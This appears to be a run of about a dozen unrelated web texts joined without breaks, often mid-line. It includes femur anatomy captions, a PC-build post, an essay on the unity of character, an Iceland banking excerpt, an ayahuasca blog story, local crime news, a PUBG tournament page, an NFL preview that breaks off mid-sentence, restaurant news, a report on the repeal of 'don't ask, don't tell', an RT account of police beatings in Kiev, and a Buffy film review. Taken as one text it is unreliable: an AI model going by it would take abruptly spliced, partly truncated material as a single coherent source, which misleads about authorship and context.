Position of femur (shown in red). Pelvis and patella are shown as semi-transparent.
View from behind.
View from the front.
3D image
Long Bone (Femur)
Muscles of thigh. Lateral view.
Muscles of thigh. Cross section.
Distribution forces of the femur
References [ edit ]This was built for photo & video editing, I am not a gamer. Parts were picked with an eye towards speedy reliability, not to squeeze out every megahertz.
The initial boot sequence never bootstrapped, it would go straight into error mode: PXE-E61: Media Test Failure, check cable. I checked, rechecked. F2 to edit bios didn't work. Eventually I found an online reference, for the boot sequence. So I removed the optical from the old machine, installed into the new. Viola. Boot sequence was; optical, removable, hard drive, network. Without an optical, with a virgin SSD, no boot USB, it was looking for a network boot. But now memory tests, CPU stress test, all OK.
The GPU card is next week, or month. Maybe with a keyboard & mouse, and monitor.
Thanks REDDIT buildapc gurus for the info, it all helped!!!
P.S., that's my son "helping" me build the machine.The Stone is a forum for contemporary philosophers and other thinkers on issues both timely and timeless.
Yes, that’s what I like about me, at least one of the things, that I can say, Up the Republic!, for example, or, Sweetheart!, for example, without having to wonder whether I should not rather have cut my tongue out, or said something else.
— Samuel Beckett, “Malone Dies”
~~~
What is character? Ordinarily, we envision character as a set of stable and unified dispositions: we expect the timid employee to be shy on a regular basis, not just on some days, and we picture him as a mellow father, not as a tyrant at home. Since we suppose that characters are unified in these ways, we are almost invariably surprised when it turns out that the different aspects of someone’s personality stand in tension with one another. It is news to us that Tolstoy’s attitude toward his own illegitimate son was worse than aloof, notwithstanding the humanism and sensitivity of Tolstoy’s writings, or that Richard Nixon was rather a good father and husband despite his mendacity in other contexts.
When people act ‘out of character,’ they may just be revealing their deeper tendencies.
In art, this type of incongruence between reality and expectations is often used to generate a comic effect, as when the powerful C.E.O. who is feared by all his underlings and appears to respect no authority gets a call from his mother and, with the intonation of a 10-year old schoolboy, says, “Yes, Mom.” Or a dramatic effect, as when the seemingly kind and charming hostess initiates a bitter quarrel with her husband as soon as the guests are gone. In the context of art, it is surely a good thing that we expect unity of character and uniformity of behavior since much of art depends on either reaffirming or frustrating those expectations, and thus, on their very existence.
In real life, drawing false inferences with regard to a person’s character may have serious practical consequences: a mother who firmly believes that her daughter cannot be taking drugs because she is just not that kind of girl may end up losing her daughter to an overdose. It may even lead to injustice: a judge who fails to see that the convict is a reformed man may keep that convict in prison for no good reason.
What is the basis for our assumptions that people’s characters are unified, and that their behavior in one context will resemble their behavior in other contexts? Drawing on social psychology, some philosophers, most notably Gilbert Harman and John Doris, have proposed that the perception of unity is a result of biases and systematic errors, not of the actual qualities of the people observed. I do not think the skeptical conclusion they draw is warranted, but the challenge is worth taking seriously. There are, indeed, various features of our perception of other people’s characters that make us prone to expect unity.
Consider first what I would call the “privileged perspective” bias. We tend to give priority to our own interactions with and feelings for the person we are called upon to judge, and since people are usually consistent in their behavior toward us, we form unfounded beliefs in the stability of their dispositions. There is something puzzling about the fact that the girlfriend of the repeated criminal offender often manages to hold on to her belief in her lover’s intrinsic goodness; something puzzling, yes, but also something deeply familiar. The criminal is good to his girlfriend, and that leads her to perceive him as good by nature. She sees his tenderness toward her as essential to who he is, and his abuse of others as accidental, or somehow minor. This is what we all do, to one degree or another, when assessing the characters of others in our lives.
Think of a person who has always been kind to you, perhaps a colleague, a relative, or a neighbor. Imagine also that you are asked to describe that person. You will probably say he is kind. You won’t say he is kind to you, you will say he is kind, period. You may continue to think of him as kind even if you hear his employees, co-workers, or spouse call him difficult, obstinate or quarrelsome. There are limits, of course. If you learn that the kind-to-you colleague beats his daughter with a belt, for instance, you will most certainly reconsider the kindness attribution. But the point remains: Revisions tend to lag behind the evidence because of the privileged perspective bias.
Leif Parsons
Here, I wish merely to document this bias, not to denounce it. It may well be that we see something about the kind-to-us person that others whose relationship with him is less amicable are missing, just as it may be that the criminal’s girlfriend sees something about him that we are missing. The point is simply that even when our own perspective on someone’s character happens to be insightful, consistency in relation to us is not yet good enough evidence for stable character dispositions in others.
There is another, more general limitation on ordinary observation that inclines us to find unity where none is to be found. Everyday experience rarely affords us grounds to discover what people are capable of and how they would behave in novel contexts. And the truth about what they are capable of may well contradict our beliefs about them. For instance, we may think that most people are decent and that no decent person would cause pain to another for no good reason. The results of Stanley Milgram’s much discussed experiment on obedience and Philip Zimbardo’s Stanford prison experiment, however, suggest otherwise: ordinary people can be led to administer painful electric shocks to one another for the sake of pleasing an experimenter or may cruelly humiliate their fellows if invited to play the role of prison guards. These are striking results, and while there is considerable controversy over how they are to be interpreted, there is no doubt that in order to make a convincing case for the existence of character we have to accommodate those results in some way.
It is precisely such studies that have led philosophers like Harman and Doris to deny the existence of character as ordinarily conceived. What are we to say in response? The first thing to point out is that it cannot simply be that “situations” rather than character determine behavior, since some sort of human tendency will always be part of the explanation of action. If humans had no tendency to obey, for example, the Milgram experiment would not have delivered the results it delivered. But to make this point is not yet to give an argument for the existence of character. For we think of character traits as stable dispositions that tend to influence behavior regardless of external provocation; not invariably, of course, but often enough. Thus, the composed person tends not to get angry even when provoked; the decent person refuses to engage in acts of cruelty even under pressure. To have tendencies that will manifest themselves only when provoked, or that fail to manifest when there is external pressure to behave otherwise, is not yet to have traits.
It could be, however, that the seemingly contradictory bits of evidence reveal not the lack of character but people’s deeper tendencies. This is a line suggested by the psychologist Gordon Allport in his response to early attacks on character mounted by stimulus-response theorists. Allport tells a story of an ordinarily honest boy who spends the summer with older boys who don’t give him the respect he’d like; the younger boy then steals candy from a store to get the others’ approval. In Allport’s interpretation, the boy, while he may appear inconsistent with regard to the trait of honesty, is really consistent with himself, since his desire for peer approval has all along been the stronger motive.
Some such explanation will often help. Consider again the case of Tolstoy. It may be that Tolstoy, too, was consistent with himself. Perhaps, both Tolstoy’s compassion for his characters and his aloofness toward his illegitimate son are aspects of one master motive: perfectionism. Suppose Tolstoy was a perfectionist, as seems likely given the number of times he rewrote his novels. Perfectionism may have led him to develop compassion for his characters in the course of writing and rewriting his novels, while simultaneously rendering him unable to own up to the mistakes in his own life. Tolstoy, it seems, dealt with his illegitimate child as one might deal with a manuscript rough draft:— by discarding it and hiding his authorship of it from others.
But there is a problem with applying the master motive explanation to the Milgram experiment: the tendency to obey, while in one sense an aspect of character, is in another sense a sign of the lack of character. For think about what we mean when we say that someone “has no character”: we mean just that he can be led in any direction and pressured to do all sorts of things. It would be a poor defense of the existence of his character if we said that really, his deeper tendency to obey united the seemingly incongruent bits of his behavior. To lack character is to lack principles, to fail to be, as it were, internally motivated.
Of course, tendencies ordinarily antithetical to what we mean by “real character” — like the tendency to obey — may, in some contexts, be a part of character. A samurai who has made a commitment to do everything his master commands may very well be showing precisely character in fulfilling an order. But more often than not, this will not be so. Still, the Allport response to skepticism about character will help much of the time.
My second point in defense of character is this: even if people are fragmented, as we all are to some extent, there must be a difference between ordinary and pathological fragmentation. People who are fragmented in a way incompatible with unity of any sort are usually suffering from a dissociative identity disorder or have some other psychiatric condition. The rest of us are what I would call ordinarily fragmented. And ordinary fragmentation — much like ordinary irrationality, which differs from madness because, in the words of one philosopher, it exists “in the house of reason” — exists in the house of unity.
Related More From The Stone Read previous contributions to this series.
This type of unity is a far cry from the idea of unity inherent in our ordinary notions of character. And many of us are inclined to stick to the ordinary notions. This may help explain some people’s resistance to absurdist theater and literature. Absurdist theater, unlike traditional narrative art, presents characters who are inconstant not upon occasion, but as a rule and the details of the lives of whom never add up to a coherent picture. But the fault, no doubt, lies in part with those viewers, not with absurdist art. If traditional art seems more “realistic,” that may just be because of the various biases of our perception.
But however fragmented we may in fact be, we can always strive for more unification. This is my main point. Unity in character is an achievement. And we have a better chance of attaining it if we take it to be a goal, rather than an existing state of affairs. If we want pronouncements like “Up the Republic!” and “Sweetheart!” to really mean something, we’d better take these pronouncements as commitments to live up to, not as expressions of who we already are. When I declare I will be faithful to you, there is, strictly speaking, something wishful about my declaration. I do not know from where I shall get the strength to do as I promise. It is certainly not the case that I possess a “faithfulness” property that can guarantee my success. But this is not a pessimistic conclusion. For there is nothing that guarantees failure either; my past failures, in particular, do not. And would you really prefer that my success be guaranteed? I would conjecture that the answer is “no.” The power of my declaration lies, for you, precisely in that I make a promise that I can keep only if I make an effort. Nothing about my character can ensure success. There is inevitable precariousness in human interaction that stems from the very way in which we are built. But perhaps this is just what, in our dealings with one another, gives both our success and our failure to live up to our commitments real meaning.
Iskra Fileva is a visiting assistant professor of philosophy and faculty fellow of the Parr Center for Ethics at the University of North Carolina, Chapel Hill. She works primarily on topics in moral psychology and philosophy of psychology.Just after October 6, 2008, when Iceland effectively went bust, I spoke to a man at the International Monetary Fund who had been flown in to Reykjavík to determine if money might responsibly be lent to such a spectacularly bankrupt nation. He’d never been to Iceland, knew nothing about the place, and said he needed a map to find it. He has spent his life dealing with famously distressed countries, usually in Africa, perpetually in one kind of financial trouble or another. Iceland was entirely new to his experience: a nation of extremely well-to-do (No. 1 in the United Nations’ 2008 Human Development Index), well-educated, historically rational human beings who had organized themselves to commit one of the single greatest acts of madness in financial history. “You have to understand,” he told me, “Iceland is no longer a country. It is a hedge fund.”
An entire nation without immediate experience or even distant memory of high finance had gazed upon the example of Wall Street and said, “We can do that.” For a brief moment it appeared that they could. In 2003, Iceland’s three biggest banks had assets of only a few billion dollars, about 100 percent of its gross domestic product. Over the next three and a half years they grew to over $140 billion and were so much greater than Iceland’s G.D.P. that it made no sense to calculate the percentage of it they accounted for. It was, as one economist put it to me, “the most rapid expansion of a banking system in the history of mankind.”
At the same time, in part because the banks were also lending Icelanders money to buy stocks and real estate, the value of Icelandic stocks and real estate went through the roof. From 2003 to 2007, while the U.S. stock market was doubling, the Icelandic stock market multiplied by nine times. Reykjavík real-estate prices tripled. By 2006 the average Icelandic family was three times as wealthy as it had been in 2003, and virtually all of this new wealth was one way or another tied to the new investment-banking industry. “Everyone was learning Black-Scholes” (the option-pricing model), says Ragnar Arnason, a professor of fishing economics at the University of Iceland, who watched students flee the economics of fishing for the economics of money. “The schools of engineering and math were offering courses on financial engineering. We had hundreds and hundreds of people studying finance.” This in a country the size of Kentucky, but with fewer citizens than greater Peoria, Illinois. Peoria, Illinois, doesn’t have global financial institutions, or a university devoting itself to training many hundreds of financiers, or its own currency. And yet the world was taking Iceland seriously. (March 2006 Bloomberg News headline: iceland’s billionaire tycoon “thor” braves u.s. with hedge fund.)
To read the complete story, pick up a copy of The Great Hangover: 21 Tales of the New Recession from the Pages of Vanity Fair* *(Harper Perennial), available online and at better booksellers now.We have discussed the idea, widely held in the Upper Amazon, that human beings in general, and shamans in particular, have powerful urges to harm other humans, and that the difference between a healer and a sorcerer comes down to a matter of self-control. And on that there hangs a story.
A while ago, after having returned from my most recent trip to study with my maestro ayahuasquero don Roberto Acho, I was sitting in a training seminar, and I was angry with the facilitator, a man I greatly respect and admire. I was angry for foolish and childish reasons; I felt I was not being paid enough attention.
Suddenly, without any apparent intention on my part, a spider flew out of my mouth — a large, black, hairy spider, about three inches across. The spider flew from my mouth to the face of the seminar facilitator, where it grasped and clung to his cheek, eventually melting into his face. I was taken aback by this. Damn, I said; I didn’t realize I was that pissed off. And that would have been the end of it; except that, at the next day’s session, the distraught facilitator announced that he had been told that his wife’s breast cancer, thought to be in remission, had recurred.
Now, was there any connection between my spider and his wife’s illness? Of course not. The spider touched him, not his wife. And the recurrence must have taken place before the spider left my mouth; certainly sorcery cannot be temporally retroactive. Of course there was no connection.
And yet, what I carry away from this experience is still a sense of guilt. I did not cause the harm; I could not have caused the harm. But what happened was a loss of control — my momentary anger, my ego, my envidia, the worst part of me leaping from my mouth in the form of a spider, just like the spiders and scorpions that are projected, in the Upper Amazon, from the phlegm of a brujo, a sorcerer.
From this inconsequential incident, I have learned three things.
First, there really is no going back. Once you walk through the door into the realm of the spirits, you cannot return to any prior state of innocence. As I have said before, once you begin la dieta, once you drink ayahuasca, once you begin to form relations of confianza with the healing plants, the world becomes a more dangerous place. When you have begun to realize the porosity of reality; when the world has become magical, filled with wonders, filled with the spirits, filled with meaning; when you have begun to see what was there all along but was invisible to you — then you must accept that your childish anger is, right here and now, as it always was, an ugly spider leaping from your lips, capable of causing great harm.
I have written, here and here, that people in the Upper Amazon consider the darts and other pathogenic objects in a shaman’s phlegm to be autonomous, alive, spirits, sometimes with their own needs and desires, including a desire to kill. I now believe that is profoundly true. Our egos are as tricky and autonomous as magical darts. Our envidia, our foolish willingness to destroy relationships of confianza with others, seems to flair up at the slightest provocation. The popular image of the sorcerer in the Upper Amazon reflects this truth: the figure of the evil sorcerer represents all that is the antithesis of proper social behavior. Nobody has the courage to scold a sorcerer, people say, for he would put poison on you and you would die. If you make fun of him, he will kill you; if you are stingy with him, he will kill you; if you refuse to have sex with him, he will kill you. The sorcerer does not eat meat and does not smell any perfume. The sorcerer in fact epitomizes solitary retentiveness and lack of reciprocity — lonely, demanding, querulous, abusive, miserly, and vengeful. Just like my ego.
And that is why self-control is mandatory. Since that inconsequential incident, I have been tempted to try it again — just, you know, to see if it works, just to express my anger, just to be — somehow — powerful. And I cannot do it, ever again.Please enable Javascript to watch this video
Two men are in jail after leading police on a chase through multiple Utah cities early Friday morning.
Officers arrested the suspects near 800 S. and 900 E. in Salt Lake City.
Police said the incident started in Taylorsville when the suspects shot at a home near 4800 S. and 3475 W.
Four children were inside and one bullet missed shot through a 2-year-old girl's headboard and missed her by less than three inches.
No one was seriously injured.
Authorities said they head a gunshot about 30 minutes later near 1400 E. and 3900 S. where they found an older white wagon-style car with a loud muffler.
Officers said the car matched the description of the one from the previous shooting and immediately followed it.
During the chase, a gun was thrown from the suspect car near 3665 S. 900 E. which officers picked up.
A resident walking her dog found the second gun in a yard near 1000 E. Millcreek Way.
Authorities spiked the suspect's tires near 3300 S. Highland Dr. and used a PIT manuver to stop the car near 800 S. and 900 E.
Police arrested the two suspects inside, 23-year-old Luis Miguel Valadez of Salt Lake City and 20-year-old Joseph Villagrana from Murray.DreamHack Winter 2017 was an event in BATTLEGROUNDS presented by ASUS ROG, Monster Energy and Sennheiser.
About
DreamHack Winter, in partnership with Twitch and ASUS ROG, is hosting the World’s most popular game at the World’s largest digital festival in Jönköping, Sweden. Between December 1st – 3rd, DreamHack Winter attendees will be able to participate in “Chicken For Two – PUBG for everyone” – a sign up-free competition in the duo format in first person perspective with qualifiers played around the clock, throughout the festival. Memorize Pochinki and Yasnaya by heart and get ready for dropdown! Everyone with a BYOC seat at DreamHack Winter will be able to join adrenaline infused qualifier rounds, which will end at Sunday. Each day, non-stop games will contribute to an overall leaderboard according to a point system that rewards both placement and kills.
Social
Chicken for Two!
The top 48 teams from the leaderboard will be invited to the final round, starting on Sunday at 18:00. The final round will consist of three game rounds with a new, reset, leaderboard. After the three games, the top 3 teams on the leaderboard will be awarded grand prizes (with a total around $10,000 worth of prizes). for their performance. Throughout the tournament, there will also be special achievement prizes for all participants, whether you’re a stone cold chicken dinner aficionado, or a pan-handling camper. Participants will be playing Duo FPP.
How It Works
Team Format: FPP Duos
Unique Settings:
First-person Only: On
Red Zone: Off
Weather: Sunny Clear
AR Spawns: 1.5X
Ammunition Spawns: 1.5X
Costumes: Off
Server Location: EU
Casters: Deman and TheSimms
Kills
Number of kills (Team total) Points awarded for specific kill in streak Total kill points 1st 10 10 2nd 11 21 3rd 12 33 4th 13 46 5th 14 60 6th 15 75 7th 16 91 8th 17 108 9th 18 126 10th 19 145 11th 20 165 12th 21 186 13th 22 208 14th 23 231 15th 24 255 16th 25 280 17th 26 306 etc… etc… etc…
Placements
1: 300
2: 150
3: 100
4: 75
5: 60
6: 50
7: 40
8: 30
9: 20
10: 10
11-48: 0
Schedule
12/1
10:30 PUBG Chicken For Two game servers open! 11:00 PUBG Chicken For Two 1st day broadcast starts! 17:00 PUBG Chicken For Two 1st day broadcast ends! Day 1 VOD: https://www.twitch.tv/videos/205802445
12/2
03:30 PUBG Chicken For Two game servers open! 04:00 PUBG Chicken For Two 2nd day broadcast starts! 16:00 PUBG Chicken For Two 2nd day broadcast ends! Day 2 VOD: https://www.twitch.tv/videos/206036773 & https://www.twitch.tv/videos/206076680
12/3
03:30 PUBG Chicken For Two game servers open! 04:00 PUBG Chicken For Two 3rd day broadcast starts! 10:00 PUBG Chicken For Two 3rd day finals starts! 12:30 PUBG Chicken For Two 3rd day broadcast ends! Day 3 VOD: https://www.twitch.tv/videos/206338045
Prizes
1st – 2x ROG GR8 II, Core i7-7700, 16GB DDR4, GTX 1060, 256GB SSD/1TB HDD + awesome trophies.
2nd – 2x ASUS ROG Swift PG27AQ Monitor
3rd – 2x Travel, hotel, and premium tickets to next DreamHack Masters in Sweden.
Event
Day 1 (Qualifier matches) Note: These aren't all the matches. DreamHack livestream is only covering 1 server, while there are other servers in the background (best of 5 games). Overview: These stats are from the DreamHack leaderboard. Standing Player 1 Name Player 2 Name Score Win Points Kill Points Rounds Played 1 BiG_T87 Zelendra 1135 600 535 (31 kills) 2 2 KrilleH Munckizz 985 600 385 (27 kills) 5 3 ollywood MOLNMAN 890 600 290 (20 kills) 2 Match #1: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 Zelendra BiG_T87 - 300 - (16 kills) 2 Baii1 Aptitude_ - 150 - (9 kills) 3 Panzertax morreSWE - 100 - (2 kills) Match #2: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 iCurze Dry_Cup - 300 - (4 kills) 2 BALLOC Avnqr - 150 - (13 kills) 3 Taylor MILLAWxD - 100 - (7 kills) Match #3: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 Eierpflanze Boeki - 300 - (6 kills) 2 fLufferby Sinty - 150 - (5 kills) 3 Slafsepott TheMeisen - 100 - (8 kills) Match #4: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 KrilleH Munckizz - 300 - (10 kills) 2 MigoW Reknash - 150 0 (0 kills) 3 esche94 Qkenexde - 100 - (9 kills) Match #5: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 RamsesTheGreat PONYRIDEREn - 300 - (7 kills) 2 Skrald911 RatPower - 150 - (8 kills) 3 vessey tilleras - 100 - (4 kills) Match #6: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 ollywood MOLNMAN - 300 - (17 kills) 2 RamsesTheGreat PONYRIDEREn - 150 - (1 kill) 3 HWrightt TheSwedishGoat - 100 - (7 kills) Day 2 (Qualifier matches) Note: These aren't all the matches. DreamHack livestream is only covering 1 server, while there are other servers in the background (best of 5 games). Match #1: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 SG_ivel SG_Pjeh - 300 - (18 kills) 2 DeaVonSlussfors MorsKenny - 150 - (4 kills) 3 Maxxie_ Jaxax - 100 - (2 kills) Match #2: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 RamsesTheGreat PONYRIDEREn - 300 - (9 kills) 2 LunchPinnar lightwine - 150 - (7 kills) 3 LightMessiha ProCon - 100 10 (1 kill) Match #3: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 Ciggzy Frosz - 300 - (11 kills) 2 Zod4n umquire - 150 - (8 kills) 3 Carlallan Hamel_Bhaab - 100 - (8 kills) Match #4: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 SG_ivel SG_Pjeh 300 - (8 kills) 2 EvilWolf EvilSaunaMan - 150 - (4 kills) 3 ollywood MOLNMAN - 100 - (7 kills) Match #5: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 SG_phearix SG_emdeez - 300 - (20 kills) 2 Hesberg Hanzzimmerman - 150 - (5 kills) 3 BALLOC Avnqr - 100 - (8 kills) Match #6: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 Maxxie_ Jaxax - 300 - (7 kills) 2 Carlallan Hamel_Bhaab - 150 - (7 kills) 3 Klego MEWIIE - 100 - (10 kills) Match #7: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 SG_ivel SG_Pjeh - 300 - (13 kills) 2 SaVanTy xMurtin - 150 - (8 kills) 3 kfp69 Bosssee - 100 - (5 kills) Day 3 (Qualifier / Grand final matches) Qualifiers Note: These aren't all the matches. DreamHack livestream is only covering 1 server, while there are other servers in the background (best of 5 games). Match #1: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 SG_ivel SG_Pjeh - 300 - (13 kills) 2 Spid0r Stoff - 150 - (8 kills) 3 MartOnFPS Surfase - 100 - (4 kills) Match #2: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 Pristin Vendiiz - 300 - (7 kills) 2 Dry_Cup iCurze - 150 - (8 kills) 3 Wootarn Toupazz - 100 - (1 kill) Grand Finals Match #1: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 jHHH Pikzen - 300 - (2 kills) 2 Avnqr BALLOC - 150 - (10 kills) 3 Ciggzy Frosz - 100 - (16 kills) Match #2: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 BALLOC Avnqr - 300 - (14 kills) 2 Taylor MILLAWxD - 150 - (4 kills) 3 Zelendra BiG_T87 - 100 - (7 kills) Match #3: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 Enac SG_Littlefix - 300 - (10 kills) 2 MILLAWxD Taylor - 150 - (2 kills) 3 SG_phearix SG_emdeez - 100 - (7 kills) Match #4: Standing Player 1 Name Player 2 Name Score Win Points Kill Points 1 MOLNMAN ollywood - 300 - (14 kills) 2 BALLOC Avnqr - 150 - (6 kills) 3 Slafsepott TheMeisen - 100 - (4 kills) Finals Standing Player 1 Name Player 2 Name Score Win Points Kill Points Rounds Played 1 Avnqr BALLOC 985 600 385 (31 kills) 4 2 MOLNMAN ollywood 626 375 251 (16 kills) 4 3 Ciggzy Frosz 625 235 400 (29 kills) 4
Archived events
2017Hosting the worst team in a division they continue to dominate, the Indianapolis Colts have good reason to remain confident despite dropping two of three and losing their top running back to a season-ending injury.
The Colts can rebound by extending their AFC South winning streak to 11 games Sunday when they try for a fifth consecutive victory over the visiting Jacksonville Jaguars.
Indianapolis (6-4) is the only team in the South with a winning record, but its lead was trimmed to one game following a 42-20 home loss to New England and Houston’s 16-point win at Cleveland last Sunday.
Article continues below...
After allowing more than 40 points for the second time in three games and yielding a season-high 246 rushing yards, the Colts were left battered but not broken.
"It’s up to us to execute," defensive end Cory Redding said. "Look, it’s a tough pill to swallow, but let’s make it clear – we’ve got to go out and play winning football."
That means improving on a defense that allowed Ben Roethlisberger to throw six touchdowns during a 51-34 loss at Pittsburgh on Oct. 26 and Patriots rookie Jonas Gray to rush for 201 yards and four TDs.
Indianapolis, which ranked among the top 10 with 98.1 rushing yards allowed per game entering Sunday, has allowed an average of 39.0 points in three contests since a five-game win streak in which it yielded 75 points and shut out AFC North-leading Cincinnati.
"It’s definitely frustrating because we’re a good defense," injured defensive tackle Arthur Jones said. "We just have to be consistent."
Facing the Jaguars (1-9), however, could help the Colts get back on track and extend a winning streak that dates to their last division loss on Dec. 16, 2012.
Jacksonville ranks 31st at 15.8 points per game, 27th with an average of 315.1 yards and has been outscored 138-40 during a four-game skid against Indianapolis.
The Colts led 30-3 before Blake Bortles threw two fourth-quarter TDs in his NFL debut during a 44-17 loss Sept. 21.
The Jaguars |
Some of Chicago's most famous deep dish pizza is headed to The Woodlands and three other Texas cities.
ATX Brands, which operates Texas "breastaurant" chain Bikinis Sports Bar & Grill, is partnering with Gino’s East to bring its iconic pizza to the Lone Star State. In addition to The Woodlands, Gino's East will land in Arlington, San Antonio and Austin.
"There's a hole in the Texas market for great deep dish pizza from Chicago."
This will be the first franchise outside of the Chicago area for Gino's East, which was founded in 1966. ATX Brands CEO and founder Doug Guller says the reason for the partnership is two-fold.
"Currently there's a hole in the Texas market for great deep dish pizza from Chicago and when I contacted Gino's East, they were super excited about coming to Texas," he says. "The other reason is that I lived there back in the late '90s and became a big fan of Gino's East, the Cubs and everything Chicago!"
Guller has been working with Gino's East since late 2013 on the project, but news of the brand's foray into Texas only recently surfaced. And where will the pizzeria's first stop be?
"Houston and San Antonio will be before Austin," Guller says. The Dallas Morning News reports that the first location should be open by November, with subsequent outlets opening approximately six weeks after each other. Guller notes that the Austin outpost should open by early Summer 2015.
While the Texas locations are still in the works, Guller is confident that the addition of Gino's East will fill a void. "[Texas] has attracted so many people from around the world and it's our hope that the deep dish pizza, as well as our thin crust, calzones, sandwiches and salads will satisfy that hunger," he says.Retired Navy Cmdr. Zoe Dunning, center, celebrates the Senate’s vote to end "don't ask, don't tell" with other gay soldiers and veterans in San Francisco in December 2010. (Paul Chinn/AP)
Updated 4:19 p.m. ET
The military is preparing to end the almost 18-year ban on gays in the military, a milestone eagerly anticipated by gay rights activists.
“We are ready for this change,” the Army chief of staff, Gen. Ray Odierno, wrote in a memo sent to generals on Monday announcing the change.
“We expect all personnel to follow our values by implementing the repeal fully, fairly and in accordance with policy guidance,” Odierno added. “It is the duty of all personnel to treat each other with dignity and respect.”
The Pentagon is scheduled to formally repeal the policy on Tuesday afternoon during a news conference with Defense Secretary Leon E. Panetta and the Joint Chiefs of Staff chairman, Adm. Mike Mullen.
(RELATED: Celebration and concern mark the end of ‘don’t ask, don’t tell’)
Dozens of conversations with gay rights advocates and current and former troops suggest that they’re not expecting a wave of “coming out” announcements or gestures by active-duty or reserve troops. Some troops and activists said, however, that at least a few service members are likely to use “Repeal Day” as a way to draw attention to themselves.
Some troops started celebrating the change in policy over the weekend. According to one soldier who e-mailed from Kuwait after ending a tour of duty in Iraq, “We fully expect to see an official repeal come in time for our landing in the United States.”
The soldier, who asked that he not be identified publicly before the ban’s official end, said he celebrated the impending change with his new boyfriend, who is also a soldier, by drinking non-alcoholic champagne bought from a Starbucks at Kuwait’s Camp Virginia.
“There’s actually quite a few conversations about it here and there,” the soldier said.
As far as coming out publicly, “I’m not planning on anything flashy,” he said. “I don’t plan on letting a lot of people know, as I still want to keep that part of my life personal.”
Ahead of Tuesday’s official repeal, the gay rights group Servicemembers United is hosting a “Countdown to Repeal” party Monday night at the Washington club Town. The group is hosting similar parties in Boston, Seattle, San Diego, Minneapolis and Monterey, Calif.
Servicemembers Legal Defense Network, a group that has represented service members discharged for violating the ban, is hosting similar festivities on Tuesday in Washington, New York, Chicago, Philadelphia, Charleston, S.C., and West Hollywood. The group’s members are also hosting at least 100 other smaller parties in states across the country. For a list of those parties, click here.
HBO is airing a documentary Tuesday night, “The Strange History of Don’t Ask, Don’t Tell,” to mark the end of the policy.
Follow Ed O’Keefe on Twitter: @edatpost
Read some of Ed O’Keefe’s reporting on “don't ask, don’t tell”:
Celebration and concern mark the end of ‘don’t ask, don’t tell’
Sources: Pentagon group finds there is minimal risk to lifting gay ban during war
‘Don’t ask, don’t tell’ is repealed by Senate; bill awaits Obama’s signing
Troops gets training on end of ‘don’t ask’
How should gay troops behave after ‘don’t ask, don’t tell’ ends?Broken barricades, rubber bullets and raging street battles in the heart of Kiev; RT’s Peter Oliver captured a brutal police beating on film after getting swept up in the crowds being driven from Maidan Square.
The Ukrainian capital descended into a scene of chaos on Wednesday as police moved in to break up barricades erected by protesters.
Black smoke from burning tires choked the air as demonstrators lobbed Molotov cocktails, broken bricks and other improvised weapons at police amidst sub-zero temperatures.
The fusillade of rubber bullet fire filled the air, as the intermittent boom of flash bangs and the constant rattling batons on police shields punctuated efforts to drive protesters from the prominent city square.
Following a series of explosions, Peter Oliver was swept up by a crowd being driven back by police, ultimately being forced to take shelter in a nearby building as police moved in.
The cameras continued to roll as police clad in riot gear drove back fleeing protesters. In the ensuing melee, an officer knocked a protester to the ground with two deft blows from his baton. The man collapsed right beneath the window where the RT crew had taken shelter as the officer moved in to deliver 5 brutal blows to his felled target.
Another masked officer moved in and prepared to deliver his own shot before pulling back, staring down a camera man on the street, and threatening him with his baton as well.
Meanwhile, RT's RUPTLY video agency got a bird's eye view of the veritable police stampede. In several instances, police swarmed on downed protesters, violently clubbing them on the ground.
Several people have been reported dead after four days of anti-government violence reached a fever pitch in the Ukrainian capital.
After the reported fatalities, Ukrainian Prime Minister Mykola Azarov accused terrorists of endangering the lives of the city’s residents, promising that those who had broken the law would not go unpunished.Buffy Summers is an icon for badassdom – not just for women, but any badass. There are few characters conceived in the last few decades that are symbolic of strength and perseverance. Joss Whedon’s creation will forever be remembered as the tormented girl on late 90’s television, but five years before Buffy was ever on the small screen there was Buffy the Vampire Slayer the movie. Cheesy, clunky and a little bit daft, the 1992 movie is almost nothing like the successful series that was to follow. And yet…it still remains one of my favourite movies.
Before Sarah Michelle Gellar sulked across the television screen in flare jeans and questionable hair clips, Kristy Swanson played the blonde cheerleader turned vampire slayer. She’s different than the girl many have watched grow up on screen. The 1992 Buffy is brighter and sillier, but still lovable. So are her love interests. “Outcast” Pike (played by Beverly Hills, 90210‘s Luke Perry) acts as Buffy’s only support system as she goes from uber-popular cheerleader to conflicted vampire killer. Donald Sutherland plays the surly watcher and Rutger Hauer plays a camp leader of the vampires. It’s all very silly indeed.
But was Buffy actually a good movie? Well, yes and no.
There are a lot of unanswered questions and kind of ‘assumed’ reasoning for plot development – What does it mean when the music stops? I’m still not sure. The continuity about the slayers origins are bit shaky, and the dialogue is a but forced at times. The movie tries to play horror comedy, but it doesn’t always seem quite sure what one it wants to be and when.
Kristy is quite a good Buffy in her own right. SMG will always be the defining actress for most fans, but how could she not be after seven seasons on television? It’s a bit unfair of a comparison. But Kristy is probably the best part about the entire movie. She’s got enough sass to carry the awkward movie as well as anyone probably could. Her one-liners are always spot on with delivery that makes it plenty of fun to quote along with.
To make Buffy watchable, don’t ever compare it to the television show. At that time, Whedon was not the screenwriting giant he is today. The horror story of what happened behind the scenes is now a familiar one to most fans: the original script was rewritten and chopped to bits by Donald Sutherland, who apparently also had quite the attitude. There are some lines that survived are still very Whedon-esque (“All I want to do is graduate from high school, go to Europe, marry Christian Slater, and die“) that makes the movie enjoyable.
